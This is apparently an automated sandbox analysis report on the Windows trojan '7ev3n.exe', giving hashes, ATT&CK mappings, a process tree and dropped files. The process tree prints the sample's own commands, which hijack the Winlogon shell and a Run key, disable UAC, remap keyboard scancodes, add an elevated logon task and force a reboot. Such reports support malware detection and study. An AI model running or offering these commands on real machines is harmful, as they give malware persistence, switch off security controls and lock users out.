9c9e87c0c492673453acb1a253c8ae23ee8245531c37d6ef8ead76b6e2d1562e

Reason

Machine shutdown

General

Target

7ev3n.exe
Size

315KB
MD5

9f8bc96c96d43ecb69f883388d228754
SHA1

61ed25a706afa2f6684bb4d64f69c5fb29d20953
SHA256

7d373ccb96d1dbb1856ef31afa87c2112a0c1795a796ab01cb154700288afec5
SHA512

550a891c1059f58aa983138caf65a7ea9c326cb1b94c15f3e7594128f6e9f1295b9c2dbc0925637dba7c94e938083fffc6a63dc7c2e5b1e247679931cce505c6
SSDEEP

6144:BswDdb2MemnBVlz0SoVbO4A6OA4Trl28TyT6llY1/I8cWJWlfTXv:BswRSslz0P1OdFXJlJ8buXv

Score

10^/10

evasion persistence trojan

Malware Config

Signatures

Modifies WinLogon for persistence 2 TTPs 1 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

Processes:

reg.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "C:\\Users\\Admin\\AppData\\Local\\system.exe"	reg.exe

UAC bypass 3 TTPs 1 IoCs
evasion trojan

Bypass User Account Control
T1548.002

Disable or Modify Tools
T1562.001

Modify Registry
T1112

Processes:

reg.exe

description ioc process

Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" reg.exe
Executes dropped EXE 1 IoCs

Processes:

system.exe

pid process

2404 system.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe

pid	process
2404	system.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

reg.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\System = "C:\\Users\\Admin\\AppData\\Local\\system.exe"	reg.exe

Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

SCHTASKS.exe

pid process

2764 SCHTASKS.exe

pid	process
2764	SCHTASKS.exe

Modifies data under HKEY_USERS 15 IoCs

Processes:

LogonUI.exe

description	ioc	process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglow = "3288365271"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\StartColorMenu = "4288567808"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentColorMenu = "4292311040"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\AccentColor = "4292311040"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColorBalance = "89"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationBlurBalance = "1"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationGlassAttribute = "1"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent	LogonUI.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = a6d8ff0076b9ed00429ce3000078d700005a9e000042750000264200f7630c00	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\EnableWindowColorization = "221"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColor = "3288365271"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglowBalance = "10"	LogonUI.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

shutdown.exe

description pid process

Token: SeShutdownPrivilege 1752 shutdown.exe
Token: SeRemoteShutdownPrivilege 1752 shutdown.exe
Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

LogonUI.exe

pid process

5020 LogonUI.exe

description	pid	process
Token: SeShutdownPrivilege	1752	shutdown.exe
Token: SeRemoteShutdownPrivilege	1752	shutdown.exe

pid	process
5020	LogonUI.exe

Suspicious use of WriteProcessMemory 57 IoCs

Processes:

7ev3n.exesystem.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.exe

description	pid	process	target process
PID 3652 wrote to memory of 2404	3652	7ev3n.exe	system.exe
PID 3652 wrote to memory of 2404	3652	7ev3n.exe	system.exe
PID 3652 wrote to memory of 2404	3652	7ev3n.exe	system.exe
PID 2404 wrote to memory of 5080	2404	system.exe	cmd.exe
PID 2404 wrote to memory of 5080	2404	system.exe	cmd.exe
PID 2404 wrote to memory of 5080	2404	system.exe	cmd.exe
PID 2404 wrote to memory of 2764	2404	system.exe	SCHTASKS.exe
PID 2404 wrote to memory of 2764	2404	system.exe	SCHTASKS.exe
PID 2404 wrote to memory of 2764	2404	system.exe	SCHTASKS.exe
PID 2404 wrote to memory of 4612	2404	system.exe	cmd.exe
PID 2404 wrote to memory of 4612	2404	system.exe	cmd.exe
PID 2404 wrote to memory of 4612	2404	system.exe	cmd.exe
PID 2404 wrote to memory of 4928	2404	system.exe	cmd.exe
PID 2404 wrote to memory of 4928	2404	system.exe	cmd.exe
PID 2404 wrote to memory of 4928	2404	system.exe	cmd.exe
PID 2404 wrote to memory of 2968	2404	system.exe	cmd.exe
PID 2404 wrote to memory of 2968	2404	system.exe	cmd.exe
PID 2404 wrote to memory of 2968	2404	system.exe	cmd.exe
PID 2404 wrote to memory of 3412	2404	system.exe	cmd.exe
PID 2404 wrote to memory of 3412	2404	system.exe	cmd.exe
PID 2404 wrote to memory of 3412	2404	system.exe	cmd.exe
PID 2404 wrote to memory of 4296	2404	system.exe	cmd.exe
PID 2404 wrote to memory of 4296	2404	system.exe	cmd.exe
PID 2404 wrote to memory of 4296	2404	system.exe	cmd.exe
PID 2404 wrote to memory of 4304	2404	system.exe	cmd.exe
PID 2404 wrote to memory of 4304	2404	system.exe	cmd.exe
PID 2404 wrote to memory of 4304	2404	system.exe	cmd.exe
PID 4296 wrote to memory of 1864	4296	cmd.exe	reg.exe
PID 4296 wrote to memory of 1864	4296	cmd.exe	reg.exe
PID 4296 wrote to memory of 1864	4296	cmd.exe	reg.exe
PID 2968 wrote to memory of 1584	2968	cmd.exe	reg.exe
PID 2968 wrote to memory of 1584	2968	cmd.exe	reg.exe
PID 2968 wrote to memory of 1584	2968	cmd.exe	reg.exe
PID 4304 wrote to memory of 2004	4304	cmd.exe	reg.exe
PID 4304 wrote to memory of 2004	4304	cmd.exe	reg.exe
PID 4304 wrote to memory of 2004	4304	cmd.exe	reg.exe
PID 4928 wrote to memory of 2172	4928	cmd.exe	reg.exe
PID 4928 wrote to memory of 2172	4928	cmd.exe	reg.exe
PID 4928 wrote to memory of 2172	4928	cmd.exe	reg.exe
PID 3412 wrote to memory of 4644	3412	cmd.exe	reg.exe
PID 3412 wrote to memory of 4644	3412	cmd.exe	reg.exe
PID 3412 wrote to memory of 4644	3412	cmd.exe	reg.exe
PID 4612 wrote to memory of 216	4612	cmd.exe	reg.exe
PID 4612 wrote to memory of 216	4612	cmd.exe	reg.exe
PID 4612 wrote to memory of 216	4612	cmd.exe	reg.exe
PID 2404 wrote to memory of 888	2404	system.exe	cmd.exe
PID 2404 wrote to memory of 888	2404	system.exe	cmd.exe
PID 2404 wrote to memory of 888	2404	system.exe	cmd.exe
PID 888 wrote to memory of 4356	888	cmd.exe	reg.exe
PID 888 wrote to memory of 4356	888	cmd.exe	reg.exe
PID 888 wrote to memory of 4356	888	cmd.exe	reg.exe
PID 2404 wrote to memory of 4524	2404	system.exe	cmd.exe
PID 2404 wrote to memory of 4524	2404	system.exe	cmd.exe
PID 2404 wrote to memory of 4524	2404	system.exe	cmd.exe
PID 4524 wrote to memory of 1752	4524	cmd.exe	shutdown.exe
PID 4524 wrote to memory of 1752	4524	cmd.exe	shutdown.exe
PID 4524 wrote to memory of 1752	4524	cmd.exe	shutdown.exe

C:\Users\Admin\AppData\Local\Temp\7ev3n.exe
"C:\Users\Admin\AppData\Local\Temp\7ev3n.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3652

C:\Users\Admin\AppData\Local\system.exe
"C:\Users\Admin\AppData\Local\system.exe"
2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2404

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\del.bat
3⤵
PID:5080

C:\Windows\SysWOW64\SCHTASKS.exe
C:\Windows\System32\SCHTASKS.exe /create /SC ONLOGON /TN uac /TR "C:\Users\Admin\AppData\Local\bcd.bat" /RL HIGHEST /f
3⤵
- Creates scheduled task(s)
PID:2764

C:\windows\SysWOW64\cmd.exe
C:\windows\system32\cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Shell" /t REG_SZ /d "C:\Users\Admin\AppData\Local\system.exe" /f /reg:64
3⤵
- Suspicious use of WriteProcessMemory
PID:4612

C:\Windows\SysWOW64\reg.exe
REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Shell" /t REG_SZ /d "C:\Users\Admin\AppData\Local\system.exe" /f /reg:64
4⤵
- Modifies WinLogon for persistence
PID:216

C:\windows\SysWOW64\cmd.exe
C:\windows\system32\cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "System" /t REG_SZ /d "C:\Users\Admin\AppData\Local\system.exe" /f /reg:64
3⤵
- Suspicious use of WriteProcessMemory
PID:4928

C:\Windows\SysWOW64\reg.exe
REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "System" /t REG_SZ /d "C:\Users\Admin\AppData\Local\system.exe" /f /reg:64
4⤵
- Adds Run key to start application
PID:2172

C:\windows\SysWOW64\cmd.exe
C:\windows\system32\cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Keyboard Layout" /v "Scancode Map" /t REG_BINARY /d "00000000000000001700000000003800000038e000005be000005ce00000360000001d0000001de000000f000000010000001c0000003e0000003b00000044000000450000003d0000005de000000000" /f /reg:64
3⤵
- Suspicious use of WriteProcessMemory
PID:2968

C:\Windows\SysWOW64\reg.exe
REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Keyboard Layout" /v "Scancode Map" /t REG_BINARY /d "00000000000000001700000000003800000038e000005be000005ce00000360000001d0000001de000000f000000010000001c0000003e0000003b00000044000000450000003d0000005de000000000" /f /reg:64
4⤵
PID:1584

C:\windows\SysWOW64\cmd.exe
C:\windows\system32\cmd.exe /c REG ADD "HKEY_CURRENT_USER\Control Panel\Accessibility\StickyKeys" /v "Flags" /t REG_SZ /d 506 /f /reg:64
3⤵
- Suspicious use of WriteProcessMemory
PID:3412

C:\Windows\SysWOW64\reg.exe
REG ADD "HKEY_CURRENT_USER\Control Panel\Accessibility\StickyKeys" /v "Flags" /t REG_SZ /d 506 /f /reg:64
4⤵
PID:4644

C:\windows\SysWOW64\cmd.exe
C:\windows\system32\cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion" /v "rgd_bcd_condition" /t REG_SZ /d 1 /f /reg:64
3⤵
- Suspicious use of WriteProcessMemory
PID:4296

C:\Windows\SysWOW64\reg.exe
REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion" /v "rgd_bcd_condition" /t REG_SZ /d 1 /f /reg:64
4⤵
PID:1864

C:\windows\SysWOW64\cmd.exe
C:\windows\system32\cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" /t REG_DWORD /d 0 /f /reg:64
3⤵
- Suspicious use of WriteProcessMemory
PID:4304

C:\Windows\SysWOW64\reg.exe
REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" /t REG_DWORD /d 0 /f /reg:64
4⤵
- UAC bypass
PID:2004

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion" /v "crypted" /t REG_SZ /d 1 /f /reg:64
3⤵
- Suspicious use of WriteProcessMemory
PID:888

C:\Windows\SysWOW64\reg.exe
REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion" /v "crypted" /t REG_SZ /d 1 /f /reg:64
4⤵
PID:4356

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c shutdown -r -t 10 -f
3⤵
- Suspicious use of WriteProcessMemory
PID:4524

C:\Windows\SysWOW64\shutdown.exe
shutdown -r -t 10 -f
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:1752

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x4 /state0:0xa39b6855 /state1:0x41c64e6d
1⤵
- Modifies data under HKEY_USERS
- Suspicious use of SetWindowsHookEx
PID:5020

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Scheduled Task/Job

1

T1053

Persistence

Boot or Logon Autostart Execution

2

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Winlogon Helper DLL

Scheduled Task/Job

Privilege Escalation

Boot or Logon Autostart Execution

2

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Winlogon Helper DLL

1

T1547.004

Abuse Elevation Control Mechanism

1

T1548

Bypass User Account Control

Scheduled Task/Job

Defense Evasion

Modify Registry

3

T1112

Abuse Elevation Control Mechanism

1

T1548

Bypass User Account Control

1

T1548.002

Impair Defenses

1

T1562

Disable or Modify Tools

1

T1562.001

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

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Downloads

C:\Users\Admin\AppData\Local\del.bat
Filesize
65B

MD5
f727ee128a7eeb23b9c3242b049e61ef

SHA1
a260ee1e7c05377830130163737c7609598d61ee

SHA256
98bfdb556f8e8a2564cadfd0c62fff7b81b3a70a4f7e03a86f704fabd5d3c884

SHA512
c59a537dbd2349d0f29b6596d35c387fbb76a2cde16fddee04c3d861221c2a7a9ef1af67577a63a80523ec4fc079cc64090e3e86544730bf9cdac2ca122a9c0e

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C:\Users\Admin\AppData\Local\system.exe
Filesize
315KB

MD5
7ee101b66aa78da4faf50fa802db2494

SHA1
839d7d818802db949ec3e6dd1b79d7f6066e6c61

SHA256
ea8d762f5a481d6c62f9cf31da7b1d9a97bdc70911f76db395abc2aa008c8167

SHA512
f623e399dc07dc03818206663550b313a72d06ba7059b7a64b06add7661851d1c17edda9e36c8314b6a499530a296ac044efa07d38834edab0d5c2f7a1820963

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Analysis

Sharing

Errors

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v13

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Downloads